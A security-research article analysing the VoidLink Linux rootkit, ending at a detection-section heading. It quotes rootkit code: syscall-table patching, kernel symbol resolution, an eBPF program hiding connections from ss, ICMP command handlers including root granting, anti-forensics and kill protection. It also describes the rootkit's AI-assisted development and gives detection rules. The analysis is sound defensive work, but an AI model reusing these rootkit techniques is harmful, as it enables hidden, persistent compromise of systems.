Illuminating VoidLink: Technical analysis of the VoidLink rootkit framework

Elastic Security Labs analyzes VoidLink, a sophisticated Linux malware framework that combines traditional Loadable Kernel Modules with eBPF to maintain persistence.

22 min readMalware Analysis
Illuminating VoidLink: Technical analysis of the VoidLink rootkit framework

Introduction

During a recent investigation, we came across a data dump containing source code, compiled binaries, and deployment scripts for the kernel rootkit components of VoidLink, a cloud-native Linux malware framework first documented by Check Point Research in January 2026. Check Point's analysis revealed VoidLink to be a sophisticated, modular command-and-control framework written in Zig, featuring cloud-environment detection, a plugin ecosystem of over 30 modules, and multiple rootkit capabilities spanning userland rootkits (LD_PRELOAD), Loadable Kernel Modules (LKMs), and eBPF. In a follow-up publication, Check Point presented compelling evidence that VoidLink was developed almost entirely through AI-assisted workflows using the TRAE integrated development environment (IDE), with a single developer producing the framework, from concept to functional implant, in under a week.

The data dump we obtained, which we attribute to the same Chinese-speaking threat actor, based on matching Simplified Chinese source comments and Alibaba Cloud infrastructure, contained the raw development history of VoidLink's rootkit subsystem. What Check Point described as a deployable stealth module, selected dynamically based on the target kernel version, was laid bare in our data dump as a multigenerational rootkit framework that had been actively developed, tested, and iterated across real targets, spanning CentOS 7 through Ubuntu 22.04.

The rootkit components masquerade under the module name vl_stealth (or, in some variants, amd_mem_encrypt), consistent with the kernel-level concealment capabilities described in Check Point's analysis. Their architecture immediately stood out: Rather than relying on a single technique, the rootkit combines a traditional LKM with eBPF programs in a hybrid design that we’ve rarely encountered in the wild. The LKM handles deep kernel manipulation, syscall hooking via ftrace, and an Internet Control Message Protocol–based (ICMP-based) covert command channel, while a companion eBPF program takes over the delicate task of hiding network connections from the ss utility by manipulating Netlink socket responses in userspace memory.

Across the data, we identified at least four distinct generations of VoidLink, each one refining its hooking strategy, evasion techniques, and operational stability. The earliest variant targeted CentOS 7 with direct syscall table patching. The most recent variant, which the developers dubbed "Ultimate Stealth v5" in their comments, introduces delayed hook installation, anti-debugging timers, process kill protection, and XOR-obfuscated module names.

Check Point's second publication already established that VoidLink was developed through AI-driven workflows. The rootkit source code we analyzed corroborates and extends this finding: The source files are littered with phased refactoring annotations, tutorial-style comments that explain basic kernel concepts, and iterative version numbering patterns that closely mirror multi-turn AI conversations. Where Check Point observed the macro-level development methodology (sprint planning, specification-driven development), our data dump reveals the micro-level reality of how individual rootkit components were iteratively prompted, tested, and refined.

In this research publication, we walk through the rootkit's architecture, trace its evolution across four generations, dissect its most technically interesting features, and provide actionable detection strategies. All Chinese source comments referenced in this analysis have been translated into English.

Discovery and initial triage

At first glance, the sheer volume of files, many with iterative version numbers, like hide_ss_v3.bpf.c through hide_ss_v9.bpf.c, suggested an active development effort rather than a one-off project. The presence of compiled .ko files for specific kernel versions, alongside three separate copies of vmlinux.h BPF Type Format (BTF) headers, confirmed that this code had been built and tested on real systems.

After sorting through the dump, we identified seven logical groupings. Three stand-alone LKM variants in the root directory targeted different kernel generations: stealth_centos7_v2.c (1,148 lines, targeting CentOS 7's kernel 3.10), stealth_kernel5x.c (767 lines, targeting kernel 5.x), and stealth_v5.c (876 lines, the "Ultimate Stealth" variant with delayed initialization). Two production directories, kernel5x_new/ and lkm_5x/, contained polished variants with module parameters, eBPF companions, and versioned ICMP control scripts. An ebpf_test/ directory contained 10 sequential iterations of ss-hiding eBPF programs and six versions of process-hiding programs, each building on the last, providing a clear record of iterative development. Finally, load_lkm.sh provided boot-time persistence with a particularly interesting feature: It scanned /proc/*/exe for processes running from memfd file descriptors, a telltale sign of fileless implants.

Every source file was annotated entirely in Simplified Chinese. The comments ranged from straightforward function descriptions to detailed phase-numbered fix annotations. For example, the CentOS 7 variant's header contained a structured changelog that mapped perfectly to five development phases, translated here:

Phase 1: Security/logic vulnerabilities - bounds checking, UDP ports, memory leaks, byte order
Phase 2: Stealth enhancements - ICMP randomization, /proc/modules, kprobe hiding, log cleanup
Phase 3: Compatibility - dynamic symbol lookup, struct offsets, IPv6, kernel version adaptation
Phase 4: Stability - maxactive, RCU protection, priority, error handling
Phase 5: Defense mechanisms - anti-debugging, self-destruct, dynamic configuration

Individual fixes throughout the code were tagged with identifiers like [1.1], [2.1], [3.3], and [5.2], each corresponding to a specific phase and fix number. We’ll return to the significance of this annotation pattern later, as it provides compelling evidence about the rootkit's development methodology.

The operator scripts revealed real infrastructure. The icmp_ctl.py usage examples referenced two Alibaba Cloud IP addresses, 8.149.128[.]10 and 116.62.172[.]147, indicating that VoidLink was being used operationally against targets accessible from Chinese cloud infrastructure. The load_lkm.sh boot script hard-codes a path to /root/kernel5x_new/vl_stealth.ko and configures port 8080 to be hidden by default, further suggesting active deployment.

Architecture: A hybrid approach

What makes VoidLink architecturally notable is its two-component design. Most Linux rootkits rely on a single mechanism for hiding, whether that’s an LKM hooking syscalls, an eBPF program attached to tracepoints, or a shared object injected via LD_PRELOAD. VoidLink uses both an LKM and an eBPF program, each handling the task for which it is best suited. This hybrid approach is rarely seen in the wild and reflects a deliberate engineering decision.

The LKM component, which masquerades under the module name vl_stealth (or, in some variants, amd_mem_encrypt), is the backbone of the rootkit. It handles tasks that require deep kernel access: process hiding via getdents64 syscall hooking, file and module trace removal via vfs_read filtering, network connection hiding via seq_show kretprobes, and the ICMP-based command-and-control channel via Netfilter hooks. These operations require manipulating kernel-internal data structures and intercepting kernel functions at a level that only a loaded kernel module can achieve.

The eBPF component handles a single but critical task: hiding network connections from the ss utility. The ss command doesn’t read from /proc/net/tcp as netstat does. Instead, it uses Netlink sockets with the SOCK_DIAG_BY_FAMILY protocol to query the kernel's socket diagnostic interface directly. This means that the kretprobe technique used to hide connections from netstat, which works by rolling back the seq_file output counter, has no effect on ss.

The developers initially attempted to hide connections from ss using a kretprobe on inet_sk_diag_fill, returning -EAGAIN to suppress individual entries. A comment in the source code, translated from Chinese, explains why they abandoned this approach: "ss command hiding implemented by eBPF module (more stable)". The kretprobe method caused kernel instability, likely because inet_sk_diag_fill is called deep within the Netlink socket processing path, and returning an error code there could corrupt the response chain.

The eBPF solution is elegant. It hooks __sys_recvmsg using a kprobe at the entry point and a kretprobe at the return point. On entry, it captures the userspace receive buffer address from the msghdr structure. On return, it walks the chain of nlmsghdr structures in that buffer, checking each SOCK_DIAG_BY_FAMILY message for hidden source or destination ports. When it finds a match, rather than removing the entry (which would corrupt the Netlink message chain), it extends the previous message's nlmsg_len field to absorb the hidden entry. The ss parser then treats the hidden entry as padding within the previous message and silently skips it. This "swallowing" technique, implemented through bpf_probe_write_user, is a creative abuse of a BPF helper originally intended for debugging.

Version evolution

VoidLink evolved through at least four generations, each one adapting to newer kernel defenses while expanding the rootkit's capabilities. Tracing this evolution reveals not only the technical challenges the developers faced but also the iterative problem-solving approach, likely aided by a large language model (LLM) that defines this rootkit's development history.

Generation 1: The CentOS 7 foundation

The earliest variant, stealth_centos7_v2.c, targets CentOS 7 and its venerable 3.10 kernel. At 1,148 lines, it’s the longest file and contains the most extensive comments. This variant uses the oldest and most straightforward hooking technique available to LKM rootkits: direct modification of the syscall table.

On kernel 3.10, kallsyms_lookup_name() is still exported as a public kernel symbol, so locating the sys_call_table is trivial. The rootkit calls it directly to resolve function addresses. However, the kernel marks the syscall table as read-only, so modifying it requires temporarily disabling the processor's write protection bit in the CR0 control register:

write_cr0(read_cr0() & ~X86_CR0_WP);  // Disable write protection
sys_call_table[__NR_getdents64] = (unsigned long)hooked_getdents64;
sys_call_table[__NR_getdents] = (unsigned long)hooked_getdents;
write_cr0(read_cr0() | X86_CR0_WP);   // Re-enable write protection

This is a well-known technique with a long history in Linux rootkit development. More interestingly, how does the CentOS 7 variant handle GCC's interprocedural optimizations? When GCC inlines or clones functions, it renames them with suffixes like .isra.0, .constprop.5, or .part.3. This means a symbol like tcp4_seq_show might actually exist in the kernel as tcp4_seq_show.isra.2. VoidLink's find_symbol_flexible() function handles this by brute-forcing up to 20 variants of each suffix:

static unsigned long find_symbol_flexible(const char *base_name)
{
    unsigned long addr;
    char buf[128];
    int i;

    addr = kallsyms_lookup_name(base_name);
    if (addr) return addr;

    for (i = 0; i <= 20; i++) {
        snprintf(buf, sizeof(buf), "%s.isra.%d", base_name, i);
        addr = kallsyms_lookup_name(buf);
        if (addr) return addr;
    }

    for (i = 0; i <= 20; i++) {
        snprintf(buf, sizeof(buf), "%s.constprop.%d", base_name, i);
        addr = kallsyms_lookup_name(buf);
        if (addr) return addr;
    }

    return 0;
}

Anyone who has developed kernel modules for CentOS 7 will recognize the frustration of symbols being renamed by compiler optimizations. The fact that VoidLink handles this systematically, across .isra, .constprop, and .part suffixes, suggests the developers encountered this problem during real-world deployment.

The CentOS 7 variant hooks both getdents and getdents64 syscalls, because CentOS 7 userspace tools use both 32-bit and 64-bit directory entry formats. The /proc/modules file is handled separately by replacing the seq_operations.show function pointer after opening the file through filp_open(). This generation also introduces the anti-debugging timer and the self-destruct command, features that persist through all subsequent generations. One notable detail: The variant suppresses all kernel log output by redefining pr_info, pr_err, and pr_warn as no-ops, a simple but effective anti-forensics measure.

Generation 2: Adapting to kernel 5.x

The jump from CentOS 7's kernel 3.10 to kernel 5.x required fundamental changes to VoidLink's hooking strategy. Two kernel developments forced the developers' hand: kallsyms_lookup_name() was unexported starting in kernel 5.7, and the syscall table gained stronger write protections through CONFIG_STRICT_KERNEL_RWX.

The second generation, found in stealth_kernel5x.c and lkm_test/main.c, addresses the first problem with a technique known in rootkit development circles as the kprobe trick. Instead of calling kallsyms_lookup_name() directly, the rootkit registers a kprobe on it. The kernel's kprobe subsystem resolves the symbol address internally during registration and stores it in the kp.addr field. The rootkit reads this address and then immediately unregisters the kprobe:

static int init_symbols(void)
{
    struct kprobe kp = { .symbol_name = "kallsyms_lookup_name" };
    if (register_kprobe(&kp) < 0)
        return -EFAULT;
    kln_func = (kln_t)kp.addr;
    unregister_kprobe(&kp);
    return kln_func ? 0 : -EFAULT;
}

This trick was first popularized by modern rootkits, like Diamorphine, and has become the de facto method for symbol resolution on post–5.7 kernels. Once kallsyms_lookup_name is available, the rootkit can resolve any other kernel symbol it needs.

For syscall hooking, Generation 2 abandons direct modification of the syscall table in favor of ftrace. The Linux kernel's function tracing framework was designed for performance analysis and debugging, but it provides a convenient API for attaching callbacks to arbitrary kernel functions. VoidLink registers ftrace hooks on __x64_sys_getdents64 and vfs_read, using FTRACE_OPS_FL_SAVE_REGS and FTRACE_OPS_FL_IPMODIFY flags to gain full control over the hooked function's execution. The ftrace callback modifies the instruction pointer in the saved register state, redirecting execution to the rootkit's handler before the original function runs.

This generation also introduces vfs_read hooking to filter sensitive pseudo-files. When a process reads /proc/kallsyms, /proc/modules, or /sys/kernel/debug/kprobes/list, the rootkit intercepts the output buffer and removes any lines containing the module name or kretprobe registrations. This is a significant improvement over the CentOS 7 variant's approach of hooking seq_operations.show for a single file; the vfs_read hook provides a centralized filtering mechanism for all sensitive files.

Generation 3: Production readiness

The third generation, found in kernel5x_new/ and lkm_5x/, represents the production-ready form of VoidLink. The most visible change is the addition of module parameters that allow the operator to configure the rootkit at load time without needing the ICMP channel:

insmod vl_stealth.ko init_pids=1234 init_ports=8080 stealth=1

The init_pids parameter specifies process IDs to hide immediately after loading. The init_ports parameter lists ports to hide from netstat and ss. The stealth flag controls whether the module removes itself from the kernel's module list upon initialization. These parameters eliminate the need for a separate ICMP command to configure the rootkit after it loads, thereby reducing the window of vulnerability between module insertion and activation.

This generation also doubles the number of ICMP hook registrations by attaching to both the NF_INET_PRE_ROUTING and NF_INET_LOCAL_IN Netfilter chains. The dual registration ensures reliable command reception, regardless of the host's network configuration and iptables rules. Most rootkits register on only one Netfilter chain; VoidLink's dual approach demonstrates an awareness of operational failures that could occur in diverse network environments.

The most important change in Generation 3 is the delegation of ss hiding to the eBPF companion, which we will examine in detail shortly.

The eBPF innovation: Hiding from ss

One of the most technically interesting aspects of VoidLink is how it hides network connections from the ss utility. This problem has historically been a challenge for Linux rootkits because ss and netstat query the kernel through entirely different interfaces, meaning a rootkit that defeats one often fails against the other.

The netstat utility reads from /proc/net/tcp, /proc/net/tcp6, /proc/net/udp, and similar pseudo-files. The kernel generates these files via seq_file operations, calling functions such as tcp4_seq_show() for each socket entry. Hiding a connection from netstat is straightforward: Install a kretprobe on the relevant seq_show function and, when it returns, check whether the source or destination port matches a hidden port. If it does, roll back the seq_file->count counter to its pre-call value, effectively erasing the line from the output. VoidLink's LKM component uses exactly this approach for netstat hiding, and it works reliably.

The ss utility, however, uses the SOCK_DIAG_BY_FAMILY Netlink interface to query socket information directly from the kernel. The response arrives as a chain of Netlink messages (nlmsghdr structures), each containing an inet_diag_msg with socket details. This is a completely different data path from /proc/net/tcp, and the seq_show kretprobes don’t affect it.

The ebpf_test/ directory tells the story of VoidLink's developers struggling to solve this problem. We found 10 sequential versions of hide_ss.bpf.c (v1 through v9, plus a "final" and "full" variant), each one attempting a different approach. The early versions tried to modify Netlink messages in kernel space, which proved unreliable. The later versions converged on the "swallowing" strategy used by the production variant.

The production eBPF program is located in lkm_5x/ebpf/hide_ss.bpf.c and hooks __sys_recvmsg at both entry and return. On entry, it captures the userspace buffer address from the msghdr->msg_iov chain:

SEC("kprobe/__sys_recvmsg")
int kprobe_recvmsg(struct pt_regs *regs)
{
    __u32 k = 0;
    __u8 *e = bpf_map_lookup_elem(&enabled, &k);
    if (!e || !*e)
        return 0;

    void *msg = (void *)regs->si;
    if (!msg)
        return 0;

    void *msg_iov;
    struct iovec iov;
    if (bpf_probe_read_user(&msg_iov, 8, msg + 16) < 0 || !msg_iov)
        return 0;
    if (bpf_probe_read_user(&iov, sizeof(iov), msg_iov) < 0 || !iov.iov_base)
        return 0;

    __u64 id = bpf_get_current_pid_tgid();
    struct rctx_data d = { .buf = iov.iov_base, .len = iov.iov_len };
    bpf_map_update_elem(&recvmsg_ctx, &id, &d, BPF_ANY);
    return 0;
}

The buffer address and length are stored in a per-thread BPF hash map (recvmsg_ctx), keyed by the thread's PID/TID combination. This allows the return hook to retrieve the buffer address, even though it’s no longer available in the register state at function return.

The return hook is where the actual hiding occurs. After verifying that the recvmsg call succeeded, it walks the Netlink message chain in the userspace buffer:

SEC("kretprobe/__sys_recvmsg")
int kretprobe_recvmsg(struct pt_regs *regs)
{
    // ... setup and validation ...

    void *buf = d->buf;
    long offset = 0;
    long prev_offset = -1;
    __u32 prev_len = 0;

    #pragma unroll
    for (int i = 0; i < 32; i++) {
        if (offset >= ret || offset + NLMSG_HDRLEN > ret)
            break;

        __u32 nlmsg_len;
        __u16 nlmsg_type;
        bpf_probe_read_user(&nlmsg_len, 4, buf + offset);
        bpf_probe_read_user(&nlmsg_type, 2, buf + offset + 4);

        int should_hide = 0;
        if (nlmsg_type == SOCK_DIAG_BY_FAMILY) {
            void *payload = buf + offset + NLMSG_HDRLEN;
            __u16 sport, dport;

            if (bpf_probe_read_user(&sport, 2, payload + SPORT_OFF) == 0 &&
                bpf_probe_read_user(&dport, 2, payload + DPORT_OFF) == 0) {

                sport = bpf_ntohs(sport);
                dport = bpf_ntohs(dport);

                if (bpf_map_lookup_elem(&hidden_ports, &sport) != NULL ||
                    bpf_map_lookup_elem(&hidden_ports, &dport) != NULL) {
                    should_hide = 1;
                }
            }
        }

        if (should_hide) {
            if (prev_offset >= 0) {
                __u32 new_len = prev_len + nlmsg_len;
                bpf_probe_write_user(buf + prev_offset, &new_len, 4);
            }
        } else {
            prev_offset = offset;
            prev_len = nlmsg_len;
        }

        offset += NLMSG_ALIGN(nlmsg_len);
    }
    // ...
}

For each Netlink message of type SOCK_DIAG_BY_FAMILY, the program reads the source and destination ports from fixed offsets within the inet_diag_msg payload (offsets 4 and 6, respectively). If either port matches an entry in the hidden_ports BPF map, the message is "swallowed" by extending the previous message's nlmsg_len to include the current message's length. The bpf_probe_write_user() call modifies the four-byte nlmsg_len field directly in the userspace buffer.

This technique works because Netlink parsers, including the one in ss, advance through the message chain using NLMSG_NEXT(), which calculates the next message offset from the current message's nlmsg_len. By inflating the previous message's length, the hidden message falls within the body of the previous message and is never parsed as a separate entry.

The same "swallowing" technique appears in the process-hiding experiments in the ebpf_test/directory. hide_proc_v4.bpf.c applies the identical approach to getdents64, extending the previous directory entry's d_reclen to absorb the hidden entry. This shows the developers recognized the pattern's general applicability and experimented with applying it beyond network hiding. We do note that process hiding via eBPF was ultimately handled by the LKM's ftrace hook in the production variant, likely because the LKM approach was more reliable for the larger and more variable getdents64 buffers.

The ICMP covert channel

Every VoidLink variant includes an ICMP-based command-and-control channel that leaves no listening ports, no filesystem artifacts, and, by design, no ICMP replies. The operator sends specially crafted ICMP Echo Request packets to the target host, and the rootkit's Netfilter hook intercepts them before the kernel's normal ICMP processing can generate a response. Commands are processed silently, and the packet is dropped.

The ICMP command protocol uses a simple but effective structure. The rootkit identifies its own traffic by checking the echo.id field in the ICMP header for a magic value, 0xC0DE, by default. When a matching packet arrives, the rootkit extracts a 64-byte icmp_cmd structure from the payload:

struct icmp_cmd {
    u8 cmd;           // Command byte
    u8 len;           // Length of data
    u8 data[62];      // XOR-encrypted payload
} __attribute__((packed));

The data field is XOR-encrypted with a single-byte key, 0x42 by default. While XOR with a known key is trivially reversible, it serves its purpose: preventing casual network monitoring tools from reading commands in cleartext without requiring the overhead of proper cryptography.

The command set evolved across generations. The production variant (v5) supports 10 distinct commands, ranging from hiding processes and ports to privilege escalation and self-destruction. The GIVE_ROOT command (0x11) is noteworthy: It takes a target PID as an argument and uses prepare_creds()/commit_creds() to set all UID and GID fields to zero for that process, effectively granting it root privileges without any authentication mechanism:

case ICMP_CMD_GIVE_ROOT:
    if (cmd->len >= 4) {
        u32 target_pid;
        memcpy(&target_pid, cmd->data, 4);
        give_root_to_pid(target_pid);
    }
    break;

The operator interacts with the rootkit through a Python script, icmp_ctl.py, which constructs and sends the ICMP packets using raw sockets. The v5 version of this script provides a clean command line interface (CLI):

./icmp_ctl.py 192.168.1.100 hide_pid 1234
./icmp_ctl.py 192.168.1.100 hide_port 8080
./icmp_ctl.py 192.168.1.100 hide_ip 10.0.0.50
./icmp_ctl.py 192.168.1.100 root 5678
./icmp_ctl.py 192.168.1.100 destruct

One aspect that distinguishes VoidLink's C2 from simpler rootkit implementations is runtime key rotation. The SET_KEY command (0x20) allows the operator to change both the ICMP magic identifier and the XOR key at runtime:

case ICMP_CMD_SET_KEY:
    if (cmd->len >= 3) {
        u16 new_magic;
        u8 new_key;
        memcpy(&new_magic, cmd->data, 2);
        new_key = cmd->data[2];
        g_config.icmp_magic = new_magic;
        g_config.icmp_key = new_key;
    }
    break;

After rotation, all subsequent commands must use the new magic and key values. This means that even if a defender discovers the initial 0xC0DE signature through network monitoring, the operator can switch to a new value and continue operating. The v2 version of icmp_ctl.py even includes a probe mode that iterates through a list of common magic values (0xC0DE, 0xDEAD, 0xBEEF, 0xCAFE, 0xFACE), sending a SHOW_MOD command with each one to rediscover a rootkit whose credentials were rotated by a previous operator.

The CentOS 7 variant additionally supports compile-time magic randomization through a CONFIG_RANDOM_MAGIC flag, which generates unique magic and key values at build time using the kernel's random number generator. This would give each deployed instance a unique C2 signature, further complicating network-based detection.

From a detection perspective, the ICMP channel has one significant weakness: all command packets are silently dropped (NF_DROP), meaning that legitimate ICMP Echo Requests to the host will receive replies, while rootkit commands will not. A network monitoring system that correlates ICMP Echo Requests with their corresponding Echo Replies would notice the anomaly of unanswered pings.

Advanced evasion techniques

Beyond its core hiding capabilities, VoidLink employs several advanced evasion techniques that suggest awareness of modern endpoint detection and response (EDR) behavior and forensic investigation methods. These features are concentrated in the latest "Ultimate Stealth v5" variant (stealth_v5.c), but some appear across all generations.

Delayed initialization

Most rootkits install their hooks immediately during module_init(). This means that any security tool monitoring module that loads, whether it checks for new kprobes, ftrace hooks, or syscall table modifications, can detect the rootkit at the time of insertion. VoidLink's v5 variant counters this by deferring all hook installation by three seconds:

static int __init mod_init(void)
{
    if (init_symbols() != 0)
        return -EFAULT;
    schedule_delayed_work(&init_work, msecs_to_jiffies(3000));
    return 0;
}

The mod_init() function resolves a single symbol (kallsyms_lookup_name via the kprobe trick) and then returns success. The module appears loaded and benign, with no hooks, no Netfilter registrations, and no kretprobes. Three seconds later, delayed_init() fires, installing all nine ftrace hooks, registering the Netfilter ICMP handler, starting the anti-debugging timer, and removing the module from the kernel's module list.

This technique evades security tools that scan for suspicious module behavior in response to module-loading events. By the time the hooks are active, the initial security scan has already completed and may have marked the module as clean. The three-second delay is short enough to be operationally invisible but long enough to outlast any reasonable synchronous security check.

Anti-debugging and anti-forensics

VoidLink implements an active anti-forensics capability that is uncommon among Linux rootkits. While Windows malware frequently checks for debugging tools, Linux rootkits rarely implement runtime detection of forensic utilities. VoidLink's approach uses a kernel timer that fires every five seconds and iterates over the entire process list:

static const char *debug_tools[] = {
    "strace", "ltrace", "gdb", "perf", "bpftool",
    "bpftrace", "systemtap", "crash", "kdb", "trace-cmd",
    "ftrace", "sysdig", "dtrace", NULL
};

static void anti_debug_scan(struct timer_list *t)
{
    struct task_struct *task;
    bool detected = false;

    rcu_read_lock();
    for_each_process(task) {
        if (is_debug_tool(task->comm)) {
            detected = true;
            break;
        }
    }
    rcu_read_unlock();

    if (detected && !g_data.debug_detected) {
        g_data.debug_detected = true;
    } else if (!detected && g_data.debug_detected) {
        g_data.debug_detected = false;
    }

    mod_timer(&anti_debug_timer,
              jiffies + msecs_to_jiffies(ANTI_DEBUG_INTERVAL));
}

The tool list is comprehensive: It covers standard debugging tools (strace, gdb, ltrace), performance analysis utilities (perf, trace-cmd, sysdig), eBPF inspection tools (bpftool, bpftrace), and rootkit detection utilities (rkhunter, chkrootkit in the CentOS 7 variant). The scan uses for_each_process() under read-copy-update (RCU) lock protection, checking each task's comm field against the tool list. When a debugging tool is detected, the debug_detected flag is set. The CentOS 7 variant goes further: It can optionally pause all hiding operations or trigger self-destruction when forensic tools are detected.

Module masquerading

Every VoidLink variant disguises its kernel module metadata to impersonate a legitimate AMD driver:

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Advanced Micro Devices, Inc.");
MODULE_DESCRIPTION("AMD Memory Encryption Support");
MODULE_VERSION("3.0");

The real amd_mem_encrypt module is a legitimate part of AMD's Secure Memory Encryption (SME) and Secure Encrypted Virtualization (SEV) support in the Linux kernel. By copying its metadata, VoidLink makes its modinfo output indistinguishable from the real driver. This disguise is particularly effective on cloud instances and virtual machines, where AMD-related kernel modules are commonly present and rarely questioned.

The v5 variant takes this further by XOR-encrypting the module name string and decoding it at runtime:

static char obf_modname[] = {
    'a'^ICMP_KEY, 'm'^ICMP_KEY, 'd'^ICMP_KEY, '_'^ICMP_KEY,
    'm'^ICMP_KEY, 'e'^ICMP_KEY, 'm'^ICMP_KEY, '_'^ICMP_KEY,
    'e'^ICMP_KEY, 'n'^ICMP_KEY, 'c'^ICMP_KEY, 'r'^ICMP_KEY,
    'y'^ICMP_KEY, 'p'^ICMP_KEY, 't'^ICMP_KEY, 0
};

static void decrypt_string(char *dst, const char *src, u8 key)
{
    while (*src) { *dst++ = *src++ ^ key; }
    *dst = 0;
}

This prevents simple string scanning of the compiled .ko binary from revealing the disguise name. While the XOR key (0x42) is trivially discoverable, the obfuscation adds a layer that defeats basic strings or grep analysis.

Process protection

The v5 variant introduces kill protection for designated processes. By hooking do_send_sig_info via ftrace, the rootkit intercepts all signal deliveries and silently discards lethal signals sent to protected PIDs:

if (chk_protected(p->pid)) {
    if (sig == SIGKILL || sig == SIGTERM || sig == SIGSTOP ||
        sig == SIGINT || sig == SIGHUP || sig == SIGQUIT) {
        return 0;  // Pretend success but don't deliver
    }
}

The intercepted signals include SIGKILL, SIGTERM, SIGSTOP, SIGINT, SIGHUP, and SIGQUIT, covering all common methods an administrator might use to terminate or suspend a process. The hook returns zero (success) to the caller, making the caller believe that the signal was delivered, when it was actually discarded. Additionally, signals sent to hidden (but not specifically protected) processes return -ESRCH ("No such process"), maintaining the illusion that the process doesn’t exist.

The memfd-aware boot loader

The load_lkm.sh script reveals that VoidLink is designed to operate as part of a larger attack toolkit. Before loading the rootkit, the script scans /proc/*/exe for any process running from a memfd file descriptor:

for pid in $(ls /proc 2>/dev/null | grep -E "^[0-9]+$"); do
    exe=$(readlink /proc/$pid/exe 2>/dev/null)
    if [[ "$exe" == *"memfd"* ]]; then
        IMPLANT_PIDS="$IMPLANT_PIDS $pid"
    fi
done

A memfd file descriptor, created by memfd_create(), represents an anonymous in-memory file with no on-disk backing. Processes running from memfd are a strong indicator of fileless implants: that is, malware that exists only in memory and leaves no file on the filesystem. The boot script automatically passes any discovered memfd process PIDs to the rootkit as init_pids, ensuring that they’re hidden immediately upon rootkit activation.

This integration tells us that VoidLink isn’t a stand-alone tool. It’s designed to complement a separate fileless implant, likely a reverse shell or beacon, that the operator deploys first. The rootkit's job is to make that implant invisible to administrators and security tools.

Evidence of LLM-assisted development

Check Point Research's second publication on VoidLink established that the broader framework was built using AI-driven development through the TRAE IDE, with sprint-planning documents, coding guidelines, and structured specifications all generated by an LLM. The rootkit source code in our data dump independently corroborates this finding and provides additional granular evidence at the code level. While the rootkit's technical sophistication is genuine, the patterns in its source code, comments, and development history offer a ground-level view of how LLM-assisted iteration produced kernel-level malware.

The most compelling evidence comes from the phase-numbered refactoring annotations in the CentOS 7 variant. The file header contains a structured changelog that reads like a series of LLM conversation turns: "Fix the security issues" (Phase 1), "Now improve stealth" (Phase 2), "Add compatibility" (Phase 3), "Improve stability" (Phase 4), "Add defense mechanisms" (Phase 5). Individual code changes are tagged throughout with identifiers like [1.1] for the first fix in Phase 1, [2.3] for the third fix in Phase 2, and so on. This systematic tagging matches the pattern of iterative LLM prompting, where a user requests a category of improvements and the model implements and numbers each one.

The comment style throughout VoidLink is tutorial-like in a way that experienced kernel developers wouldn’t produce. Consider this annotation on a single XOR decryption loop:

// XOR decryption
for (i = 0; i < cmd->len; i++)
    cmd->data[i] ^= g_config.icmp_key;

An experienced kernel developer wouldn’t annotate a three-line XOR loop with a comment explaining that it performs XOR decryption. This kind of pedagogical annotation is characteristic of LLM output, where the model explains every step for the user's benefit, regardless of its obviousness.

Every source file in the dump uses the same Unicode box-drawing header (═══) to separate sections. This decorative formatting is a hallmark of LLM-generated code. Human kernel developers almost universally use simple /* */ or // comment blocks for section headers. The consistency of this formatting across files written at different times and for different kernel versions suggests that each file was generated or heavily modified by the same LLM.

The ebpf_test/ directory provides perhaps the most vivid evidence. It contains hide_ss.bpf.c through hide_ss_v9.bpf.c, with matching loader.c through loader_v9.c. Each version makes incremental improvements over the last, and several contain commented-out "approach" annotations that read like chain-of-thought reasoning:

// Approach tried: don't modify return value, only record
// Approach 2: return -ENOMEM to make caller skip
if (data->should_hide && regs->ax == 0) {
    // Try: return -EAGAIN, make caller think temporary error, skip entry
    regs->ax = (unsigned long)(-EAGAIN);
}

These "Approach 1 / Approach 2 / try this" annotations look like LLM reasoning traces left in the output, where the model discusses different strategies before implementing one.

Despite the strong LLM fingerprints, VoidLink is clearly not a pure LLM creation. Several pieces of evidence confirm human involvement in the development process. The icmp_ctl.py usage examples contain real Alibaba Cloud IP addresses (8.149.128[.]10, 116.62.172[.]147), indicating operational use on actual targets. Compiled .ko files are available for specific kernel versions, demonstrating that the code was tested on real systems. The load_lkm.sh boot script, with its memfd scanning logic, reveals integration with a broader attack toolkit that a pure LLM session wouldn’t produce. And the 10 iterative eBPF versions in ebpf_test/ show genuine debugging and testing cycles, not just prompt engineering.

These code-level observations align with Check Point's macro-level findings. Where Check Point recovered the sprint planning documents and TRAE IDE artifacts showing a specification-driven development workflow, our data dump reveals the other side of the same coin: the iterative prompt-test-refine cycles that produced each rootkit component. The most likely development model was a human-LLM collaboration: The operator defined requirements and tested on real systems, while the LLM generated initial implementations and iterated on fixes in response to error reports. This development pattern is significant because it lowers the barrier to entry for kernel-level rootkit development. An operator who understands the concepts but lacks the kernel programming expertise to implement them from scratch can now produce functional, multigeneration rootkits by iterating with an LLM.

Detecting VoidLink’s rootkits

Despite VoidLink's multilayered evasion capabilities, several detection strategies are available. The rootkit's thoroughness creates opportunities: Each component, the LKM, the eBPF program, the ICMP channel, and the boot loader, leaves distinct artifacts that defenders can monitor. Because the rootkit actively filters files such as /proc/kallsyms, /proc/modules, and /sys/kernel/debug/kprobes/list, some of the detection strategies below should be validated in a trusted environment, such as a live boot medium or a kernel with verified integrity.

Module integrity detection

VoidLink removes itself from the kernel's module linked list (list_del_init), making it invisible to lsmod and /proc/modules. However, the module's sysfs entries under /sys/module/ may persist, depending on the variant. Comparing the output of lsmod against ls /sys/module/ can reveal discrepancies. Additionally, the absence of amd_mem_encrypt on systems without AMD hardware or without SME/SEV support is a strong indicator.

The following Event Query Language (EQL) query detects kernel module loading events using the default installed utilities:

process where event.type == "start" and event.action == "exec" and (
  (
    process.name == "kmod" and
    process.args == "insmod" and
    process.args like~ "*.ko*"
  ) or
  (
    process.name == "kmod" and
    process.args == "modprobe" and
    not process.args in ("-r", "--remove")
   ) or
  (
    process.name == "insmod" and
    process.args like~ "*.ko*"
   ) or
  (
    process.name == "modprobe" and
    not process.args in ("-r", "--remove")
  )
)

The loading of the kernel module is detectable through Auditd Manager by applying the following configuration:

-a always,exit -F arch=b64 -S finit_module -S init_module -S delete_module -F auid!=-1 -k modules
-a always,exit -F arch=b32 -S finit_module -S init_module -S delete_module -F auid!=-1 -k modules

And using the following query:

driver where host.os.type == "linux" 
and event.action == "loaded-kernel-module" 
and auditd.data.syscall in ("init_module", "finit_module")

Ftrace hook detection

